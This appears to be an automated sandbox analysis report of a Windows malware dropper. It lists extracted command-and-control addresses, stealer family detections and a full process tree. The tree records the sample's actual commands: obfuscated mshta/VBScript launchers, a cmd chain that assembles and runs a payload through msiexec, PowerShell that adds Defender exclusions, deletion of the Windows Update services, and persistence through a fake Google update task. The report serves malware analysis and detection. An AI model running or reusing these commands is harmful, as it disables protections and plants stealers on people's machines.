Analysis
- max time kernel
68s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
18/10/2022, 17:22
General
- Target FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe
- Size 13.9MB
- Sample221018-vxj38agee4
- SHA256 fb4252931d238acd353be695360f6b6c1a2cc1289b730230842749e06d1d6605
Malware Config
Extracted
-
socelars
-
https://dhner.s3.ap-southeast-2.amazonaws.com/eyxjet/
Extracted
-
ffdroider
-
http://186.2.171.17
Signatures
- Detect Fabookie payload 2 IoCs
- Detects LgoogLoader payload 1 IoCs
- FFDroider
Stealer targeting social media platform users first seen in April 2022.
- FFDroider payload 7 IoCs
- Fabookie
Fabookie is facebook account info stealer.
- LgoogLoader
A downloader capable of dropping and executing other malware families.
- Modifies security service 2 TTPs 5 IoCs
- OnlyLogger
A tiny loader that uses IPLogger to get its payload.
- Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
- Socelars payload 2 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Nirsoft 1 IoCs
- OnlyLogger payload 3 IoCs
- Blocklisted process makes network request 2 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 27 IoCs
- Stops running service(s) 3 TTPs
- UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 12 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 4 IoCs
Detects Themida, an advanced Windows software protection system.
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Drops file in Program Files directory 2 IoCs
- Launches sc.exe 15 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 14 IoCs
- NSIS installer 8 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Kills process with taskkill 2 IoCs
- Suspicious behavior: EnumeratesProcesses 22 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe"C:\Users\Admin\AppData\Local\Temp\FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Blues.exe"C:\Users\Admin\AppData\Local\Temp\Blues.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 17443⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\LightCleaner2352312.exe"C:\Users\Admin\AppData\Local\Temp\LightCleaner2352312.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4436 -s 14403⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\lt.exe"C:\Users\Admin\AppData\Local\Temp\lt.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\lt.exe"C:\Users\Admin\AppData\Local\Temp\lt.exe" -a3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 7963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 8043⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 8483⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 10283⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 12723⤵
- Program crash
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 12763⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 8243⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 14203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 14323⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 9803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 19563⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-E4PA7.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-E4PA7.tmp\setup_2.tmp" /SL5="$9004E,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-95E7C.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-95E7C.tmp\setup_2.tmp" /SL5="$C0054,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\jg6_6asg.exe"C:\Users\Admin\AppData\Local\Temp\jg6_6asg.exe"2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall63.exe"C:\Users\Admin\AppData\Local\Temp\askinstall63.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\siww1049.exe"C:\Users\Admin\AppData\Local\Temp\siww1049.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe"C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\acq6NcQrPx5Fs\Routes License Agreement.exe"C:\Users\Admin\AppData\Local\Temp\acq6NcQrPx5Fs\Routes License Agreement.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe" ) do taskkill -f -iM "%~NxM"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_211.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )6⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"7⤵
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "8⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"8⤵
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC8⤵
- Loads dropped DLL
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\anytime1.exe"C:\Users\Admin\AppData\Local\Temp\anytime1.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\anytime2.exe"C:\Users\Admin\AppData\Local\Temp\anytime2.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#xczeq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f5⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f5⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f5⤵
- Modifies security service
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f5⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#rinqwltqb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }4⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\anytime3.exe"C:\Users\Admin\AppData\Local\Temp\anytime3.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\anytime4.exe"C:\Users\Admin\AppData\Local\Temp\anytime4.exe"2⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2248 -s 16923⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\anytime5.exe"C:\Users\Admin\AppData\Local\Temp\anytime5.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f5⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f5⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f5⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f5⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#xczeq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#rinqwltqb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }4⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC5⤵
- Blocklisted process makes network request
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bearvpn3.exe"C:\Users\Admin\AppData\Local\Temp\bearvpn3.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4404 -ip 44041⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 536 -p 2248 -ip 22481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4668 -ip 46681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4668 -ip 46681⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 544 -p 4436 -ip 44361⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Drops file in Program Files directory
-
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#xczeq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe neuxbawhsltc2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor4⤵
-
-
-
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
-
-
